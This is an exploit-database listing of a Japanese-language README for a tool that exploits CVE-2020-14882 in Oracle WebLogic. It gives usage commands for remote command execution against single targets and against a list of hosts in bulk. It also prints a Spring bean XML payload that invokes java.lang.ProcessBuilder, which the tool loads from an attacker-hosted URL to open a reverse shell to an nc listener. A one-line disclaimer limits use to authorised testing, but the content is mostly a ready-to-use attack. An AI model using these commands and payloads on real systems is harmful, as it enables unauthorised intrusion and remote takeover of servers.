Sploitus

Exploit for CVE-2020-14882_ALL

kitploit · 2026-08-25

Exploit Code

MARKDOWN68 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GGYAO-CVE-2020-14882_ALL
# CVE-2020-14882_ALL

CVE-2020-14882_ALL 総合利用ツール。コマンド出力の確認、一括コマンド出力、外部XMLを使用した出力なしコマンド実行などの機能をサポートします。

必要なモジュール:requests、http.client

**(本ツールは許可されたセキュリティテストにのみ使用し、不正使用は行わないでください。違反行為は作者とは無関係です。)**

コマンド出力モジュールの既知の成功バージョン:12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

### オプション

![](https://assets.kitploit.com/production/public/readmes/36181/5c269db280451f2e38c3eb455b7436f32564c513d2c1c9a3b76baf8fd8b4537c.png)

### 機能1:コマンド出力

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

![](https://assets.kitploit.com/production/public/readmes/36181/497bb0756574f453db593a4dfbb8df45bafc4682be4c9c37f15225574ffb5f22.png)

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

![](https://assets.kitploit.com/production/public/readmes/36181/dee688885c35efbe98483de7656014a0043828a86558acfc782cc5b580db45cc.png)

### 機能2:一括コマンド出力

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"

target.txt の形式:http://x.x.x.x:xx、1行に1つ。

![](https://assets.kitploit.com/production/public/readmes/36181/ebab2f7ede6fe24f4229b6a9d79918aea04ec091d82d8aa9de88c8e045fef598.png)

### 機能3:外部XMLファイルを使用した出力なしコマンド実行

1、Linux リバースシェルを例に、poc.xml ファイルを編集し、Python リスナーを起動します。

root@kitploit:~
    
    
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
    	<value>cmd</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

Python リスナーを起動します。

![](https://assets.kitploit.com/production/public/readmes/36181/53bf0488215af7092dac0bcdfe8d5e4bf3c6febe0410e71abc66a211769e6029.png)

nc リスナーを起動します。

![](https://assets.kitploit.com/production/public/readmes/36181/2df30640fa759111e806b974f4e4ba77903d8765fc490fad14c54a48f2609c56.png)

2、-x オプションで XML ファイルのパスを指定し、ペイロードを送信します。

python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

![](https://assets.kitploit.com/production/public/readmes/36181/96f76c014892cebd959712669b223590b032839d7e4197db13be9b07c542e825.png)

3、シェルを正常に受信します。

![](https://assets.kitploit.com/production/public/readmes/36181/8d19c9a399b329913be247ea843371a5eb89eb2cf722ae33b61d7815fa0e3b6d.png)